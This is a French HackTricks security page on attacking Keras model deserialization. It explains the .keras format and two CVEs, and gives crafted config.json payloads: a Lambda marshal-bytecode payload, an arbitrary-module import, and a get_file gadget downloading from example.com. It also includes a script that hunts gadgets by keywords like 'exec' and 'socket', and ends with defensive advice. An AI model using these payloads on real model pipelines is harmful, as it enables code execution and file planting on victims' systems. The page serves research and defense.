Keras Model Deserialization RCE and Gadget Hunting

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cette page résume les techniques d'exploitation pratiques contre le pipeline de désérialisation des modÚles Keras, explique les détails internes du format .keras et la surface d'attaque, et fournit un kit d'outils pour les chercheurs afin de trouver des vulnérabilités de fichiers de modÚle (MFVs) et des gadgets post-correction.

Détails internes du format de modÚle .keras

Un fichier .keras est une archive ZIP contenant au moins :

  • metadata.json – informations gĂ©nĂ©riques (par exemple, version de Keras)
  • config.json – architecture du modĂšle (surface d'attaque principale)
  • model.weights.h5 – poids en HDF5

Le config.json entraßne une désérialisation récursive : Keras importe des modules, résout des classes/fonctions et reconstruit des couches/objets à partir de dictionnaires contrÎlés par l'attaquant.

Extrait d'exemple pour un objet de couche Dense :

json
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}

La désérialisation effectue :

  • Importation de modules et rĂ©solution de symboles Ă  partir des clĂ©s module/class_name
  • invocation de from_config(...) ou du constructeur avec des kwargs contrĂŽlĂ©s par l'attaquant
  • RĂ©cursion dans des objets imbriquĂ©s (activations, initialisateurs, contraintes, etc.)

Historiquement, cela a exposé trois primitives à un attaquant créant config.json :

  • ContrĂŽle des modules importĂ©s
  • ContrĂŽle des classes/fonctions rĂ©solues
  • ContrĂŽle des kwargs passĂ©s dans les constructeurs/from_config

CVE-2024-3660 – ExĂ©cution de code Ă  distance par bytecode de couche Lambda

Cause racine :

  • Lambda.from_config() utilisait python_utils.func_load(...) qui dĂ©code en base64 et appelle marshal.loads() sur des octets de l'attaquant ; la dĂ©sĂ©rialisation Python peut exĂ©cuter du code.

Idée d'exploitation (charge utile simplifiée dans config.json) :

json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}

Mitigation:

  • Keras impose safe_mode=True par dĂ©faut. Les fonctions Python sĂ©rialisĂ©es dans Lambda sont bloquĂ©es Ă  moins qu'un utilisateur ne choisisse explicitement de dĂ©sactiver avec safe_mode=False.

Notes:

  • Les formats hĂ©ritĂ©s (anciens enregistrements HDF5) ou les anciennes bases de code peuvent ne pas appliquer les vĂ©rifications modernes, donc les attaques de style "downgrade" peuvent toujours s'appliquer lorsque les victimes utilisent des chargeurs plus anciens.

CVE-2025-1550 – Importation de module arbitraire dans Keras ≀ 3.8

Root cause:

  • _retrieve_class_or_fn utilisait importlib.import_module() sans restriction avec des chaĂźnes de module contrĂŽlĂ©es par l'attaquant provenant de config.json.
  • Impact : Importation arbitraire de tout module installĂ© (ou module plantĂ© par l'attaquant sur sys.path). Le code s'exĂ©cute au moment de l'importation, puis la construction de l'objet se produit avec des kwargs de l'attaquant.

Exploit idea:

json
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}

AmĂ©liorations de la sĂ©curitĂ© (Keras ≄ 3.9) :

  • Liste blanche des modules : importations restreintes aux modules de l'Ă©cosystĂšme officiel : keras, keras_hub, keras_cv, keras_nlp
  • Mode sĂ©curisĂ© par dĂ©faut : safe_mode=True bloque le chargement de fonctions sĂ©rialisĂ©es Lambda non sĂ©curisĂ©es
  • VĂ©rification de type de base : les objets dĂ©sĂ©rialisĂ©s doivent correspondre aux types attendus

Surface de gadgets post-correction à l'intérieur de la liste blanche

MĂȘme avec la liste blanche et le mode sĂ©curisĂ©, une large surface reste parmi les appelables Keras autorisĂ©s. Par exemple, keras.utils.get_file peut tĂ©lĂ©charger des URL arbitraires vers des emplacements sĂ©lectionnables par l'utilisateur.

Gadget via Lambda qui référence une fonction autorisée (pas de bytecode Python sérialisé) :

json
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}

Limitation importante :

  • Lambda.call() ajoute le tenseur d'entrĂ©e comme le premier argument positionnel lors de l'invocation de l'appelable cible. Les gadgets choisis doivent tolĂ©rer un argument positionnel supplĂ©mentaire (ou accepter *args/**kwargs). Cela limite les fonctions viables.

Impacts potentiels des gadgets autorisés :

  • TĂ©lĂ©chargement/Ă©criture arbitraire (plantation de chemin, empoisonnement de configuration)
  • Rappels rĂ©seau/effets similaires Ă  SSRF selon l'environnement
  • ChaĂźnage vers l'exĂ©cution de code si les chemins Ă©crits sont ensuite importĂ©s/exĂ©cutĂ©s ou ajoutĂ©s Ă  PYTHONPATH, ou si un emplacement d'exĂ©cution sur Ă©criture accessible existe

BoĂźte Ă  outils du chercheur

  1. Découverte systématique de gadgets dans les modules autorisés

ÉnumĂ©rer les appelables candidats Ă  travers keras, keras_nlp, keras_cv, keras_hub et prioriser ceux ayant des effets secondaires sur les fichiers/rĂ©seaux/processus/environnement.

python
import importlib, inspect, pkgutil

ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]

seen = set()

def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name

candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)

print("\n".join(sorted(candidates)[:200]))
  1. Test de désérialisation directe (aucune archive .keras nécessaire)

Alimentez des dictionnaires conçus directement dans les désérialiseurs Keras pour apprendre les paramÚtres acceptés et observer les effets secondaires.

python
from keras import layers

cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}

layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
  1. Probe croisée des versions et formats

Keras existe dans plusieurs bases de code/époques avec différentes protections et formats :

  • Keras intĂ©grĂ© Ă  TensorFlow : tensorflow/python/keras (hĂ©ritage, prĂ©vu pour suppression)
  • tf-keras : maintenu sĂ©parĂ©ment
  • Keras 3 multi-backend (officiel) : introduction du .keras natif

Répétez les tests à travers les bases de code et les formats (.keras vs HDF5 hérité) pour découvrir des régressions ou des protections manquantes.

Recommandations défensives

  • Traitez les fichiers de modĂšle comme des entrĂ©es non fiables. Chargez uniquement des modĂšles provenant de sources de confiance.
  • Gardez Keras Ă  jour ; utilisez Keras ≄ 3.9 pour bĂ©nĂ©ficier de la liste blanche et des vĂ©rifications de type.
  • Ne dĂ©finissez pas safe_mode=False lors du chargement des modĂšles Ă  moins de faire entiĂšrement confiance au fichier.
  • Envisagez d'exĂ©cuter la dĂ©sĂ©rialisation dans un environnement isolĂ©, avec le moins de privilĂšges possible, sans sortie rĂ©seau et avec un accĂšs au systĂšme de fichiers restreint.
  • Appliquez des listes blanches/signatures pour les sources de modĂšles et la vĂ©rification d'intĂ©gritĂ© lorsque cela est possible.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks